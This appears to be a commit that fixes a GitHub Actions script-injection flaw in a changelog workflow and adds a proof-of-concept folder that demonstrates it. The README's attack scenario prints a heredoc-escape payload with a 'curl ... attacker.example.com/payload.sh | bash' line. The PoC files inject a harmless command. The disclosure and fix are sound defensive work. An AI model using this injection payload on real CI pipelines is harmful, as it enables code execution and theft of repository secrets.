commial · Copilot · Mar 31, 2026 · Mar 31, 2026 · Mar 31, 2026
diff --git a/.github/workflows/sanitize.yml b/.github/workflows/sanitize.yml
@@ -54,10 +54,12 @@ jobs:
         validation_depth: 10
         path: ${{ matrix.path }}/CHANGELOG.md
     - name: Information
+      env:
+        CL_VERSION: ${{ steps.changelog_reader.outputs.version }}
+        CL_STATUS: ${{ steps.changelog_reader.outputs.status }}
+        CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}
       run: |
-          echo -e "\e[1mVersion\e[0m ${{ steps.changelog_reader.outputs.version }}"
-          echo -e "\e[1mStatus\e[0m ${{ steps.changelog_reader.outputs.status }}"
-          echo -en "\e[1mBody\e[0m"
-          cat << 'EOF'
-          ${{ steps.changelog_reader.outputs.changes }}
-          EOF
+          echo -e "\e[1mVersion\e[0m ${CL_VERSION}"
+          echo -e "\e[1mStatus\e[0m ${CL_STATUS}"
+          echo -en "\e[1mBody\e[0m "
+          echo "${CL_CHANGES}"
diff --git a/poc/README.md b/poc/README.md
@@ -0,0 +1,110 @@
+# POC: GitHub Actions Script Injection in sanitize.yml
+
+## Vulnerability
+
+The `changelog-format` job in `.github/workflows/sanitize.yml` contained a
+**script injection** vulnerability that allowed **Remote Code Execution (RCE)**
+on the GitHub Actions runner when processing a Pull Request.
+
+### Root Cause
+
+The workflow used `${{ steps.changelog_reader.outputs.changes }}` directly
+inside a shell `run:` block within a `cat << 'EOF'` heredoc. GitHub Actions
+expands `${{ }}` expressions **before** the shell script is executed — the
+expression content is literally pasted into the script text.
+
+An attacker could craft a `CHANGELOG.md` with a body containing the heredoc
+terminator (`EOF` on its own line) followed by arbitrary shell commands. When
+the workflow ran, the heredoc would close early and the injected commands
+would execute.
+
+### Original Vulnerable Code
+
+```yaml
+    - name: Information
+      run: |
+          echo -e "\e[1mVersion\e[0m ${{ steps.changelog_reader.outputs.version }}"
+          echo -e "\e[1mStatus\e[0m ${{ steps.changelog_reader.outputs.status }}"
+          echo -en "\e[1mBody\e[0m"
+          cat << 'EOF'
+          ${{ steps.changelog_reader.outputs.changes }}
+          EOF
+```
+
+### Attack Scenario
+
+1. Attacker forks the repository
+2. Modifies `mla/CHANGELOG.md` or `mlar/CHANGELOG.md` to add a new entry:
+
+   ```markdown
+   ## [99.0.0] - 2026-03-31
+
+   ### Added
+
+   - Legitimate looking feature
+   EOF
+   curl http://attacker.example.com/payload.sh | bash
+   cat << 'EOF'
+   - Another feature
+   ```
+
+3. Opens a Pull Request
+4. The `sanitize.yml` workflow triggers on `pull_request`
+5. `actions/checkout` checks out the attacker's PR code
+6. `changelog-reader-action` parses the malicious CHANGELOG and outputs the body
+7. The `Information` step expands the `changes` output into the script
+8. The `EOF` line terminates the heredoc early
+9. The `curl ... | bash` line executes as a shell command — **RCE achieved**
+
+### Impact
+
+- Arbitrary code execution on the GitHub Actions runner
+- Access to the `GITHUB_TOKEN` (with `contents:read` permission)
+- Potential exfiltration of repository secrets or source code
+- Triggered by simply opening a PR (no maintainer approval needed)
+
+### Fix
+
+Move `${{ }}` expressions from `run:` block to `env:` block:
+
+```yaml
+    - name: Information
+      env:
+        CL_VERSION: ${{ steps.changelog_reader.outputs.version }}
+        CL_STATUS: ${{ steps.changelog_reader.outputs.status }}
+        CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}
+      run: |
+          echo -e "\e[1mVersion\e[0m ${CL_VERSION}"
+          echo -e "\e[1mStatus\e[0m ${CL_STATUS}"
+          echo -en "\e[1mBody\e[0m "
+          echo "${CL_CHANGES}"
+```
+
+When set via `env:`, values are passed as environment variables that the shell
+treats as **data**, not **code**. The malicious content is safely echoed as
+plain text.
+
+### Exploitability Analysis
+
+| Output field | Content source | Exploitable? | Reason |
+|---|---|---|---|
+| `version` | Parsed via `/[a-zA-Z0-9.\-+]+/` regex | No | Only safe characters allowed |
+| `status` | Computed from fixed strings | No | One of: released, unreleased, prereleased, yanked |
+| `changes` | Arbitrary multi-line markdown body | **Yes** | Heredoc escape via `EOF` line |
+
+### Running the POC
+
+```bash
+chmod +x poc/poc.sh
+./poc/poc.sh
+```
+
+The script simulates both the vulnerable and fixed workflow steps, demonstrating:
+- **Vulnerable**: Creates a file via injected command (RCE confirmed)
+- **Fixed**: Renders payload as harmless plain text (no RCE)
+
+### Files
+
+- `poc.sh` — Self-contained POC script
+- `malicious_changelog.md` — Example malicious CHANGELOG.md
+- `README.md` — This file
diff --git a/poc/malicious_changelog.md b/poc/malicious_changelog.md
@@ -0,0 +1,22 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+## [99.0.0] - 2026-03-31
+
+### Added
+
+- Totally legitimate looking feature
+EOF
+echo "RCE_MARKER: Command execution achieved - $(id)" > /tmp/poc_sanitize_rce/pwned.txt
+cat << 'EOF'
+- Another legitimate looking feature
+
+## [2.0.0] - 2026-02-16
+
+### Added/Changed since 1.3.0
+
+- MLA2 is now the default
diff --git a/poc/poc.sh b/poc/poc.sh
@@ -0,0 +1,215 @@
+#!/bin/bash
+# POC: GitHub Actions Script Injection via CHANGELOG.md heredoc escape
+#
+# This script demonstrates a script injection vulnerability in
+# .github/workflows/sanitize.yml (before fix).
+#
+# VULNERABILITY SUMMARY:
+#   The changelog-format job in sanitize.yml reads CHANGELOG.md using
+#   mindsers/changelog-reader-action and directly interpolates the multi-line
+#   `changes` output into a shell `run:` block via:
+#     ${{ steps.changelog_reader.outputs.changes }}
+#
+#   Because the workflow triggers on `pull_request`, an attacker can craft a
+#   CHANGELOG.md in their PR that escapes the heredoc delimiter and executes
+#   arbitrary shell commands on the GitHub Actions runner.
+#
+# ATTACK CHAIN:
+#   1. Attacker forks the repo
+#   2. Modifies mla/CHANGELOG.md (or mlar/CHANGELOG.md) with a payload
+#      (see malicious_changelog.md for example)
+#   3. Opens a PR -> triggers `pull_request` event on sanitize.yml
+#   4. actions/checkout checks out the attacker's PR code
+#   5. changelog-reader-action parses the malicious CHANGELOG.md
+#   6. The `changes` output contains a heredoc escape sequence
+#   7. The Information step's run: block receives injected shell commands
+#   8. Arbitrary code executes on the GitHub runner (with contents:read permissions)
+#
+# USAGE:
+#   ./poc.sh
+#
+# EXPECTED OUTPUT:
+#   - The VULNERABLE version creates /tmp/poc_sanitize_rce/pwned.txt (RCE)
+#   - The FIXED version treats the payload as plain text (no RCE)
+
+set -euo pipefail
+
+POC_DIR="/tmp/poc_sanitize_rce"
+mkdir -p "$POC_DIR"
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BOLD='\033[1m'
+NC='\033[0m'
+
+echo ""
+echo "============================================================"
+echo -e "${BOLD}POC: GitHub Actions Script Injection in sanitize.yml${NC}"
+echo "============================================================"
+echo ""
+
+# ---------------------------------------------------------------
+# Simulate changelog-reader-action's parsing of a malicious CHANGELOG.
+#
+# The action (src/parse-entry.js) extracts:
+#   - version: from header via /[a-zA-Z0-9.\-+]+/ (safe chars only)
+#   - status:  computed as released/unreleased/prereleased/yanked
+#   - changes: the multi-line body text (arbitrary content!)
+#
+# The `changes` output is set verbatim via core.setOutput('changes', entry.text)
+# with newlines preserved. No sanitization is applied.
+# ---------------------------------------------------------------
+
+# This simulates what changelog-reader-action would output for the
+# `changes` field when parsing a malicious CHANGELOG.md entry.
+# The payload contains:
+#   1. A line that is just "EOF" to terminate the cat heredoc
+#   2. A shell command (harmless id > file for demonstration)
+#   3. A new "cat << 'EOF'" to consume the remaining heredoc delimiter
+SIMULATED_CHANGES=$(cat << 'PARSEEOF'
+
+### Added
+
+- Totally legitimate looking feature
+EOF
+echo "RCE_MARKER: Command execution achieved - $(id)" > /tmp/poc_sanitize_rce/pwned.txt
+cat << 'EOF'
+- Another legitimate looking feature
+PARSEEOF
+)
+
+SIMULATED_VERSION="99.0.0"
+SIMULATED_STATUS="released"
+
+echo -e "${BOLD}1. Simulated changelog-reader-action outputs:${NC}"
+echo "   version = $SIMULATED_VERSION"
+echo "   status  = $SIMULATED_STATUS"
+echo "   changes = (multi-line, contains heredoc escape payload)"
+echo ""
+
+# ---------------------------------------------------------------
+# VULNERABLE VERSION (original sanitize.yml before fix)
+# ---------------------------------------------------------------
+echo "============================================================"
+echo -e "${RED}${BOLD}2. VULNERABLE VERSION (original sanitize.yml)${NC}"
+echo "============================================================"
+echo ""
+echo "The original workflow step used direct \${{ }} interpolation"
+echo "in the shell run: block:"
+echo ""
+echo '    cat << '"'"'EOF'"'"
+echo '    ${{ steps.changelog_reader.outputs.changes }}'
+echo '    EOF'
+echo ""
+echo -e "${YELLOW}GitHub Actions expands \${{ }} BEFORE the shell runs.${NC}"
+echo -e "${YELLOW}The attacker's 'EOF' line terminates the heredoc early,${NC}"
+echo -e "${YELLOW}and subsequent lines execute as shell commands.${NC}"
+echo ""
+
+# Build the script exactly as GitHub Actions would after expression expansion
+VULN_SCRIPT=$(cat << SCRIPTEOF
+echo -e "\e[1mVersion\e[0m ${SIMULATED_VERSION}"
+echo -e "\e[1mStatus\e[0m ${SIMULATED_STATUS}"
+echo -en "\e[1mBody\e[0m"
+cat << 'EOF'
+${SIMULATED_CHANGES}
+EOF
+SCRIPTEOF
+)
+
+echo "--- expanded script (what the shell receives) ---"
+echo "$VULN_SCRIPT"
+echo "--- end ---"
+echo ""
+
+rm -f "$POC_DIR/pwned.txt"
+
+echo -e "${BOLD}Executing...${NC}"
+echo ""
+bash -c "$VULN_SCRIPT" 2>&1 || true
+echo ""
+
+if [ -f "$POC_DIR/pwned.txt" ]; then
+    echo -e "${RED}${BOLD}[!] RCE CONFIRMED - $POC_DIR/pwned.txt created:${NC}"
+    echo -e "${RED}    $(cat "$POC_DIR/pwned.txt")${NC}"
+    echo ""
+    echo -e "${RED}    VERDICT: TRUE POSITIVE — the vulnerability is real.${NC}"
+else
+    echo -e "${GREEN}[✓] No RCE detected${NC}"
+fi
+echo ""
+
+# ---------------------------------------------------------------
+# FIXED VERSION (patched sanitize.yml)
+# ---------------------------------------------------------------
+echo "============================================================"
+echo -e "${GREEN}${BOLD}3. FIXED VERSION (patched sanitize.yml)${NC}"
+echo "============================================================"
+echo ""
+echo "The fix moves values to env: block, referencing as shell vars:"
+echo ""
+echo '    env:'
+echo '      CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}'
+echo '    run: |'
+echo '        echo "${CL_CHANGES}"'
+echo ""
+echo -e "${YELLOW}Environment variables are passed as DATA, not CODE.${NC}"
+echo ""
+
+rm -f "$POC_DIR/pwned.txt"
+
+export CL_VERSION="$SIMULATED_VERSION"
+export CL_STATUS="$SIMULATED_STATUS"
+export CL_CHANGES="$SIMULATED_CHANGES"
+
+echo -e "${BOLD}Executing...${NC}"
+echo ""
+bash -c '
+echo -e "\e[1mVersion\e[0m ${CL_VERSION}"
+echo -e "\e[1mStatus\e[0m ${CL_STATUS}"
+echo -en "\e[1mBody\e[0m "
+echo "${CL_CHANGES}"
+' 2>&1 || true
+echo ""
+
+if [ -f "$POC_DIR/pwned.txt" ]; then
+    echo -e "${RED}[!] RCE detected even after fix!${NC}"
+    FIXED=false
+else
+    echo -e "${GREEN}${BOLD}[✓] No RCE — payload treated as plain text. Fix works.${NC}"
+    FIXED=true
+fi
+echo ""
+
+# ---------------------------------------------------------------
+# Summary
+# ---------------------------------------------------------------
+echo "============================================================"
+echo -e "${BOLD}SUMMARY${NC}"
+echo "============================================================"
+echo ""
+echo "File:    .github/workflows/sanitize.yml"
+echo "Job:     changelog-format"
+echo "Step:    Information"
+echo "Trigger: pull_request (runs on ANY PR, including from forks)"
+echo ""
+echo "Vector:  An attacker modifies CHANGELOG.md in a PR to include"
+echo "         a heredoc escape (a line containing just 'EOF') followed"
+echo "         by arbitrary shell commands."
+echo ""
+echo "Impact:  Arbitrary code execution on the GitHub Actions runner"
+echo "         with the workflow's permissions (contents:read)."
+echo "         Could exfiltrate source code, secrets, or GITHUB_TOKEN."
+echo ""
+echo "Fix:     Move \${{ }} expressions from run: to env: block."
+echo "         Environment variables are safely passed as data."
+echo ""
+echo "Analysis of changelog-reader-action v2.2.3 outputs:"
+echo "  version: /[a-zA-Z0-9.\\-+]+/ regex — safe chars only, NOT exploitable"
+echo "  status:  fixed strings — NOT exploitable"
+echo "  changes: arbitrary multi-line text — EXPLOITABLE via heredoc escape"
+echo ""
+
+# Cleanup
+rm -rf "$POC_DIR"